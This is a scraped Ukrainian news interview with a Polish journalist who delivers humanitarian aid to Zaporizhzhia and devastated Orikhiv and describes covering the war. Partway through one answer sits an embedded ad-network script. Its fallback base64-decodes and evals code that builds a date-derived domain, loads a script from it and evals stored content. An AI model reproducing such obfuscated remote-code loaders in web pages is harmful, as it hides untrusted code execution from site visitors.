Вчора, 7 листопада, до Запорізької області приїхали польскі журналісти, які відвідали обласний центр і передали допомогу притулку для тварин. Також поляки показали своїм читачам, яка ситуація у місті Оріхів. Тамтешнім жителям доставили гуманітарку.
Журналістка польського видання WPROST Кароліна Баца-Погожельська (посилання на сторінку) зустрілася з кореспондентом «Акцента» у Запоріжі на території притулку для тварин «Дай лапу, друже».
Тут Кароліна з колегами залишає частину тієї допомоги, яку привезла до Запорізької області. Далі за планом — шлях до Оріхова. Поспішаємо, щоб усе встигнути і повернутися до темноти.
К
У місті Кароліна віддала генератор, їжу для тварин і продукти харчування і одяг тим, хто її потребує. Журналістка на власні очі побачила, як в Оріхові виживають люди. Про це детально можна буде прочитати у наступних матеріалах «Акцента».
Кароліна привезла допомогу до Оріхова
Ми спілкувалися з Кароліною майже увесь час нашої подорожі. Так дізналися, що журналістка володіє українською мовою, бо багато працювала в Україні у різні роки, і останні півроку вона майже кожного дня у дорозі, щоб показати полякам правду про війну.
Коли ми поверталися до Запоріжжя, то вирішили поставити кілька запитань під запис:
Ви сьогодні з’їздили до Оріхова. Які ваші враження від побаченого?
Для мене дуже важко все, що я там подивилася, бо це дуже страшно — бачити місто, яке практично на 90-100% зруйновано. В мене немає розуміння, бо це не є якесь стратегічне місто, де є якісь великі об’єкти, або аеропорт, або заводи… Мирне місто, яке собі жило своїм життям. Люди собі жили, і зараз їх постійно бомблять. Для мене розуміння немає. Страшно було поїхати в центр не такого вже й маленького міста і побачити, що там майже ніхто вже не живе. Страшно.
Кароліна спілкується з оріхівцями
Ви доставили до Оріхова гуманітарну допомогу. Скажіть, ви співпрацюєте з якоюсь організацією, чи це ваша власна ініціатива?
Ні, ми — журналісти з Польщі, так робимо завжди, щоб не возити повітря, бо знаємо ситуацію, маємо розуміння, що допомога потрібна. Я не працюю для жодного фонду. Ми з колегою з Києва Оленою Ушановою вирішили допомоги нашим хлопцям з батальйону «Донбас», у мене там дуже багато друзів. Така була перша думка, але потім ми побачили, що дуже багато людей, не тільки військових, а й цивільних потребують допомоги. Так само і тварини потребують допомоги. Збір коштів триває (долучитися можна за посиланням). Там більше півмільйона злотих пішло. Коли є можливість, наші друзі волонтери збирають транспорт, ми купуємо різні речі, щось дістаємо безкоштовно. Коли у волонтерів немає можливості забрати допомогу, вона може бути у мене. Так і сьогодні. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
У підвалі
Ви вже об’їхали майже всю Україну. Прифронтові зони. Скажіть, що вам найбільше запам’яталося і, можливо, довго стояло перед очима?
Мені дуже боляче за Донбас. Я там довго жила. Минулого разу я була в шоці, коли я туди заїхала зі сторони Харківської області, через Оскіл. Я їхала через села Яцківка, Олександрівка, Соснове… Я доїхала до Святогірська. Там нічого не було… Це не метафора. Там просто нічого не було! Не просто побиті дахи, двері… Там просто, наприклад, половини дому не було. Руські все зруйнували. Я так до Лимана доїхала. Через взірваний міст, треба було об’їжджати. Я розумію, що це я один раз поїхала, а люди там живуть постійно. Дуже складно зрозуміти, звідки така велика сила у цих людей. З одного боку, це добре, що вона є, але… Я думаю, коли війна закінчиться, адреналіну не буде, буде дуже складно. Кажуть «домівки можна відбудувати», але на все треба гроші. Добре, що зараз є підтримка з різних країн, але я не маю впевненості, що коли бойові дії закінчаться, підтримка далі буде.
Руйнування в Оріхові
Зараз ви плануєте далі їхати Україною, показувати полякам війну…
Так-так. Я не знаю, наскільки мені вистачить сил, щоб тут бути, але до кінця листопада я в Україні. Після того на тиждень до Польщі, і повернуся. У мене є зараз план, щоб у Дніпропетровській області попрацювати. Поїхати на Донбасс, побачити, що там змінилося, бо там також дуже складна ситуація.
Кароліна спілкується з жінкою, якій надала допомогу
Читачам буде цікаво дізнатися, скільки кілометрів Україною ви проїхали.
(посміхається). Я порахувала. Від 11 березня, коли я в’їхала в Україну, тільки по Україні я проїхала 50 тисяч кілометрів.
Дорога до Запоріжжя
Просто неймовірно! І останнє питання. Що намагаються польскі журналісти у своїй більшості донести жителям Польщі? Який основний месседж?
Я думає, сенс є один. Треба постійно показувати, що війна не закінчилася, і вона не тільки у якійсь частині України. Перше, війна у всій Україні. Не можна сказати, що є якесь безпечне місце взагалі. Друге, щоб люди зрозуміли, що це не тільки українська війна. Війна біля нас. Найбільша війна, яка можлива. Треба пам’ятати, якщо ми не допоможемо Україні, ніхто не знає, коли руські до нас прийдуть. Треба говорити так, інакше не зрозуміють. Це наша спільна безпека, а не тільки безпека України. Я думаю, що у всіх польских журналістів такий месседж.
Кароліна з колегами і оріхівцями на порозі міської ради
Підготував Ігор Гур’єв (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/tse-ne-tilki-ukrayinska-vijna-interv-yu-z-polskoyu-zhurnalistkoyu-yaka-pivroku-pratsyuye-v-ukrayini-foto/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
